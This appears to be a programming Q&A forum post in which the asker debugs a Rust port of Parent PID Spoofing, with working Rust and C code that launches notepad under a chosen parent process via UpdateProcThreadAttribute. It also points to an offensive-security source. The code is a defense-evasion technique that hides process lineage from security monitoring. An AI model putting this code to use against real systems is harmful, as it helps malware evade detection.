Parent PID Spoofing implementation error in Rust

292 Views Asked by At

I am currently trying to implement a simple Parent PID Spoofing in Rust but I'm facing with Segfault errors / Invalid Handle when creating process whom I'm trying to spoof its parent.

I made this code and modified it a lot in order to accomplish the wanted result:

let mut sinfo = STARTUPINFOEXA::default();

let mut cb_attribute_list_size = 0;
const PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: DWORD = 0x00020000;
let mut h_parent_process: HANDLE = NULL as HANDLE;
let dw_pid: DWORD = 2176;
const CMDLINE: &str = "notepad";

unsafe {
    InitializeProcThreadAttributeList(
        null_mut(),
        1,
        0,
        &mut cb_attribute_list_size
    );

    sinfo.lpAttributeList = HeapAlloc(
        GetProcessHeap(),
        0,
        cb_attribute_list_size
    ).cast();

    if InitializeProcThreadAttributeList(
        sinfo.lpAttributeList,
        1,
        0,
        &mut cb_attribute_list_size
    ) == 0 {
        eprintln!("[x] Error Initializing proccess attribute");
        return Ok(());
    }

    h_parent_process = OpenProcess(
        PROCESS_ALL_ACCESS,
        0,
        dw_pid // explorer.exe
    );

    if h_parent_process.is_null() {
        eprintln!("[x] Error opening parent process");
        return Ok(());
    }

    if UpdateProcThreadAttribute(
        sinfo.lpAttributeList,
        0,
        0x00020000,
        transmute::<PHANDLE, LPVOID>(&mut h_parent_process),
        size_of::<HANDLE>(),
        null_mut(),
        null_mut()
    ) == 0 {
        eprintln!("[x] Error updating PROC_THREAD_ATTRIBUTE_PARENT_PROCESS");
        return Ok(());
    }

    let mut process_info= PROCESS_INFORMATION::default();
    sinfo.StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    sinfo.StartupInfo.wShowWindow = 0;
    sinfo.StartupInfo.cb = size_of::<STARTUPINFOEXA>() as u32;

    if CreateProcessA(
        null_mut(),
        CMDLINE.to_string().as_ptr() as LPSTR,
        null_mut(),
        null_mut(),
        0,
        EXTENDED_STARTUPINFO_PRESENT,
        null_mut(),
        null_mut(),
        &mut sinfo.StartupInfo,
        &mut process_info
    ) == 0 {
        eprintln!("[x] Error creating process");
        return Ok(());
    }
    println!("[+] Process created: {}", process_info.dwProcessId);

    DeleteProcThreadAttributeList(sinfo.lpAttributeList);
    CloseHandle(process_info.hProcess);
    CloseHandle(process_info.hThread);
    CloseHandle(h_parent_process);
}

I tried allocating the pAttributeList from Rust with Vec::with_capacity() or from C with HeapAlloc().

The same code works in C but I don't know what am I doing wrong in Rust. I didn't success to find an actual implementation of Parent PID Spoofing in Rust but I found some usage of UpdateProcThreadAttributeList() function.

The C source code I am trying to convert to Rust can be found here: https://www.ired.team/offensive-security/defense-evasion/parent-process-id-ppid-spoofing#ppid-spoofing

Thanks for help

---EDIT---

I reviewed the code to use Ansi version of the API, the code works fine but does not produce the result I wanted. It spawn a notepad but with no parent (System is its).

I wonder if my call to UpdateProcThreadAttributeList() is correct, I think I would have to pass the reference to the Handle of the Parent Process but HANDLE structure is a *mut c_void and LPVOID/PVOID is also a *mut c_void. I'm not quite sure if the problem reside in this thing.

As one of comment suggested, there is my C code that I try to convert:

STARTUPINFOEX sie = { sizeof(sie) };
PROCESS_INFORMATION pi;
SIZE_T cbAttributeListSize = 0;
PPROC_THREAD_ATTRIBUTE_LIST pAttributeList = nullptr;
HANDLE hParentProcess = nullptr;
DWORD dwPid = 2176;
const char* lpCommandLine = "notepad";

InitializeProcThreadAttributeList(NULL, 1, 0, &cbAttributeListSize);
pAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, cbAttributeListSize);
if (NULL == pAttributeList)
{
    std::cout << "[x] Error allocating heap: " << GetLastError() << std::endl;
    return 0;
}

if (!InitializeProcThreadAttributeList(pAttributeList, 1, 0, &cbAttributeListSize))
{
    std::cout << "[x] Error Initializing proccess attribute: " << GetLastError() << std::endl;
    return 0;
}

hParentProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
if (NULL == hParentProcess)
{
    std::cout << "[x] Error opening parent process: " << GetLastError() << std::endl;
    return 0;
}

if (!UpdateProcThreadAttribute(pAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL))
{
    std::cout << "[x] Error updating PROC_THREAD_ATTRIBUTE_PARENT_PROCESS: " << GetLastError() << std::endl;
    return 0;
}

sie.lpAttributeList = pAttributeList;

if (!CreateProcessA(NULL, const_cast<LPSTR>(lpCommandLine), NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &sie.StartupInfo, &pi))
{
    std::cout << "[x] Error creating process: " << GetLastError();
    return 0;
}
std::cout << "[+] Process created: " << pi.dwProcessId << std::endl;

DeleteProcThreadAttributeList(pAttributeList);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hParentProcess);

Thanks again

--LAST EDIT--

I finally figured out what I was making wrong ! During CreateProcessA() call it was trying to read the location pointed by the value of the Parent Process Handle but I was passing its value directly instead of its reference.

I edited the Rust code above. Thanks all I can close this issue.

0

There are 0 best solutions below